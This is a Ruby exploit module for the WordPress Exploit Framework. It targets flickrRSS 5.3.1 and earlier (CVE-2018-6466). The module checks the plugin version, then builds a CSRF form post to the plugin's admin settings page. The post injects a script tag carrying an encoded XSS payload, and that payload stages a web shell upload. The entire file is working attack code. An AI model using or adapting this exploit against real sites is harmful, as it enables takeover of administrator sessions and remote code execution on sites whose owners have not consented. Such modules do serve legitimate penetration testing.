# frozen_string_literal: true

class Wpxf::Exploit::FlickrRssCsrfStoredXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'flickrRSS <= 5.3.1 CSRF Stored XSS Shell Upload',
      author: [
        'AntsKnows', # Disclosure
        'rastating'  # WPXF module
      ],
      references: [
        ['WPVDB', '9022'],
        ['CVE', '2018-6466']
      ],
      date: 'Feb 06 2018'
    )
  end

  def check
    check_plugin_version_from_readme('flickr-rss', '5.3.2')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'options-general.php?page=flickrrss-settingspage.php')
  end

  def initial_script
    create_basic_post_script(
      vulnerable_url,
      'save_flickrRSS_settings' => 'Save Settings',
      'flickrRSS_set' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script><input type=\\\"hidden\\\" value=\\\""
    )
  end
end
